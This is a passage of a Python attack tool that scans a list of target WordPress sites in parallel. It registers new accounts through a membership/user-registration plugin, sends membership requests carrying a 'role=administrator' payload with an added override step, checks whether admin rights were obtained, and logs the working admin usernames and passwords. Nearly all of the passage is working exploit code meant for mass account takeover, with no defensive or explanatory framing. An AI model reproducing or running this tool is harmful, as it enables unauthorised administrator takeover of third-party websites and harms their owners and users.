failed") else: log_status(base, "MEM-A-OK", "green", "membership A (role=administrator payload) sent") is_admin_A = verify_admin(base, usernameA, password, timeout) if is_admin_A: write_admin(base, usernameA, password) row["status"] = "[bold green]ADMIN-A[/bold green]" row["note"] = f"user:{usernameA} pass:{password} mem:{membership_id}" log_status(base, "ADMIN-A", "bold green", row["note"]) return row extra_admin_override( sess, base, timeout, usernameA, membership_id, membership_nonce, membership_ajax_url, reg_url, reg_response_data=reg_data_A, ) is_admin_A2 = verify_admin(base, usernameA, password, timeout) if is_admin_A2: write_admin(base, usernameA, password) row["status"] = "[bold green]ADMIN-A-OVERRIDE[/bold green]" row["note"] = f"user:{usernameA} pass:{password} mem:{membership_id}" log_status(base, "ADMIN-A-OVERRIDE", "bold green", row["note"]) return row # ───── Flow B ───── reg_ok_B = False reg_resp_B: Dict[str, Any] = {} cur_email_B = emailB for attempt in range(max_reg_retries): reg_ok_B, reg_resp_B = send_user_form_submit( sess, base, timeout, usernameB, cur_email_B, password, form_id, ur_nonce, ur_form_security, ur_ajax_url, membership_field_name, membership_id, reg_url, ur_fields, flow_tag=f"B-{attempt}", ) if reg_ok_B: break errors = extract_error_messages(reg_resp_B) if needs_retry_for_email_exists(errors): cur_email_B = pick_email(f"{usernameB}{random.randint(1000,9999)}") continue if needs_retry_for_email_mismatch(errors): cur_email_B = pick_email(f"{usernameB}{random.randint(1000,9999)}") continue if needs_retry_for_country(errors) or needs_retry_for_url(errors): continue break form_login_option_B = reg_resp_B.get("_nx_form_login_option") auto_login_B = reg_resp_B.get("_nx_auto_login", False) reg_data_B = reg_resp_B.get("data") if isinstance(reg_resp_B, dict) else None if not reg_ok_B: msg = "" if isinstance(reg_resp_B, dict): msg = str( reg_resp_B.get("data", {}).get("message", "") or reg_resp_B.get("message", "") or reg_resp_B.get("raw", "") or reg_resp_B.get("error", "") ) row["status"] = "[yellow]REG-B-FAIL[/yellow]" row["note"] = msg log_status(base, "REG-B-FAIL", "yellow", msg or "user_form_submit B failed") return row login_ready_B = (form_login_option_B in (None, "", "default", "auto_login") and auto_login_B) or auto_login_B if not login_ready_B and form_login_option_B: row["status"] = "[bright_black]REG-PENDING-B[/bright_black]" row["note"] = f"login_option={form_login_option_B}; account requires confirmation/approval before login" log_status(base, "REG-PENDING-B", "bright_black", row["note"]) return row log_status(base, "REG-B-OK", "green", f"user:{usernameB} mem:{membership_id} login_option={form_login_option_B}") mem_ok_B, mem_resp_B = send_membership_register_member_flow( sess, base, timeout, usernameB, membership_id, membership_nonce, membership_ajax_url, reg_url, flow_tag="B", reg_response_data=reg_data_B, ) if not mem_ok_B: msg = "" if isinstance(mem_resp_B, dict): msg = str( mem_resp_B.get("data", {}).get("message", "") or mem_resp_B.get("message", "") or mem_resp_B.get("raw", "") or mem_resp_B.get("error", "") ) row["status"] = "[magenta]MEM-B-FAIL[/magenta]" row["note"] = msg log_status(base, "MEM-B-FAIL", "magenta", msg or "register_member B failed") return row log_status(base, "MEM-B-OK", "green", "membership B (role=administrator payload) sent") is_admin_B = verify_admin(base, usernameB, password, timeout) if is_admin_B: write_admin(base, usernameB, password) row["status"] = "[bold green]ADMIN-B[/bold green]" row["note"] = f"user:{usernameB} pass:{password} mem:{membership_id}" log_status(base, "ADMIN-B", "bold green", row["note"]) else: extra_admin_override( sess, base, timeout, usernameB, membership_id, membership_nonce, membership_ajax_url, reg_url, reg_response_data=reg_data_B, ) is_admin_B2 = verify_admin(base, usernameB, password, timeout) if is_admin_B2: write_admin(base, usernameB, password) row["status"] = "[bold green]ADMIN-B-OVERRIDE[/bold green]" row["note"] = f"user:{usernameB} pass:{password} mem:{membership_id}" log_status(base, "ADMIN-B-OVERRIDE", "bold green", row["note"]) else: row["status"] = "[bright_black]NO-ADMIN[/bright_black]" row["note"] = "membership success but admin not confirmed (including override attempts)" log_status(base, "NO-ADMIN", "bright_black", row["note"]) return row # ───────────────────── per target ───────────────────── def handle_site( site: str, timeout: int, username_prefix: Optional[str], fixed_email: Optional[str], fixed_password: str, ) -> Dict[str, str]: base = norm(site) sess = new_sess(timeout) overall = {"target": base, "status": "[bright_black]UNKNOWN[/bright_black]", "note": ""} log_status(base, "SCAN", "cyan") try: htmls = discover_candidate_pages(sess, base, timeout) pricing_url = base.rstrip("/") + "/membership-pricing/" pricing_html = htmls.get(pricing_url) plans: List[Tuple[Optional[str], Optional[str]]] = [] if pricing_html: plans = extract_plans_from_pricing(pricing_html, pricing_url) if not plans: plans = [(None, None)] best_admin_row: Optional[Dict[str, str]] = None for membership_id_hint, plan_reg_url in plans: candidate_urls: List[str] = [] if plan_reg_url: candidate_urls.append(plan_reg_url) for url in htmls.keys(): if url not in candidate_urls: candidate_urls.append(url) for reg_url in candidate_urls: reg_html = htmls.get(reg_url) if not reg_html: continue if "user-registration" not in reg_html and "ur_frontend_form_nonce" not in reg_html: continue row = handle_site_for_plan_and_endpoint( sess, base, timeout, membership_id_hint, reg_url, reg_html, username_prefix, fixed_email, fixed_password, ) if "ADMIN-" in row.get("status", "") or "ADMIN-A" in row.get("status", "") or "ADMIN-B" in row.get("status", ""): best_admin_row = row break if overall["status"] == "[bright_black]UNKNOWN[/bright_black]": overall.update(row) if best_admin_row: break if best_admin_row: overall.update(best_admin_row) elif overall["status"] == "[bright_black]UNKNOWN[/bright_black]": overall["status"] = "[bright_black]DONE[/bright_black]" overall["note"] = "no admin obtained on any plan/endpoint (server likely overwrites role from membership_meta or requires approval/email)" return overall except requests.exceptions.Timeout: overall["status"] = "[bright_black]TIMEOUT[/bright_black]" overall["note"] = "http timeout" log_status(base, "TIMEOUT", "bright_black", overall["note"]) return overall except requests.exceptions.ConnectionError: overall["status"] = "[bright_black]DEAD[/bright_black]" overall["note"] = "connection error" log_status(base, "DEAD", "bright_black", overall["note"]) return overall except Exception as exc: overall["status"] = "[red]ERROR[/red]" overall["note"] = str(exc) log_status(base, "ERROR", "red", overall["note"]) return overall # ───────────────────── main ───────────────────── def main() -> None: banner() targets_file = console.input("[cyan]Targets file[/cyan] [list.txt]: ").strip() or "list.txt" if not os.path.exists(targets_file): console.print("[bold red]Targets file not found.[/bold red]") sys.exit(1) console.print( "\n[cyan]Credentials:[/cyan]\n" " - Username prefix: random number is added per site (fresh user per target/plan/flow)\n" " - Email: if left empty, it will be built from the username automatically\n" " - Password: fixed for all sites\n" ) username_prefix = console.input("[cyan]Username prefix (optional)[/cyan]: ").strip() or None fixed_email = console.input("[cyan]Email (optional)[/cyan]: ").strip() or None fixed_password = console.input(f"[cyan]Password[/cyan] [{NX_FIXED_PASS_DEFAULT}]: ").strip() or NX_FIXED_PASS_DEFAULT try: threads = int(console.input("[cyan]Threads[/cyan] [3]: ").strip() or "3") except ValueError: threads = 3 try: timeout = int(console.input("[cyan]HTTP timeout (seconds)[/cyan] [10]: ").strip() or "10") except ValueError: timeout = 10 targets: List[str] = [] with open(targets_file, "r", encoding="utf-8", errors="ignore") as f: for line in f: line = line.strip() if line: targets.append(line) if not targets: console.print("[bold red]Targets file is empty.[/bold red]") sys.exit(1) console.print() console.print(f"[bold white]Loaded {len(targets)} targets.[/bold white]\n") start = time.time() results: List[Dict[str, str]] = [] with ThreadPoolExecutor(max_workers=threads) as ex: futures = [ ex.submit(handle_site, t, timeout, username_prefix, fixed_email, fixed_password) for t in targets ] try: for fut in as_completed(futures): res = fut.result() results.append(res) except KeyboardInterrupt: ex.shutdown(wait=False, cancel_futures=True) console.print("[bold yellow]Interrupted by user. Showing partial results.[/bold yellow]") elapsed = time.time() - start table = Table( title=f"Membership Full Chain (state‑aware, multi‑plan / multi‑endpoint) | {len(results)} targets | Elapsed: {elapsed:.2f}s", box=box.SQUARE, header_style="bold cyan", border_style="bright_black", ) table.add_column("Target", style="white", no_wrap=True) table.add_column("Status", style="white") table.add_column("Note", style="bright_black") for row in results: table.add_row(row["target"], row["status"], row.get("note", "")) console.print() console.print(table) console.print() console.print(f"[bold green]Membership success log:[/bold green] {MEMBERSHIP_RESULTS_FILE}") console.print(f"[bold green]Admin success log:[/bold green] {ADMIN_RESULTS_FILE}") console.print(f"[bold green]Discovery log:[/bold green] {DISCOVERY_LOG_FILE}") console.print(f"[bold green]Registration log:[/bold green] {REGISTRATION_LOG_FILE}") console.print(f"[bold green]Membership log:[/bold green] {MEMBERSHIP_LOG_FILE}") console.print(f"[bold green]Admin check log:[/bold green] {ADMIN_CHECK_LOG_FILE}") if __name__ == "__main__": main()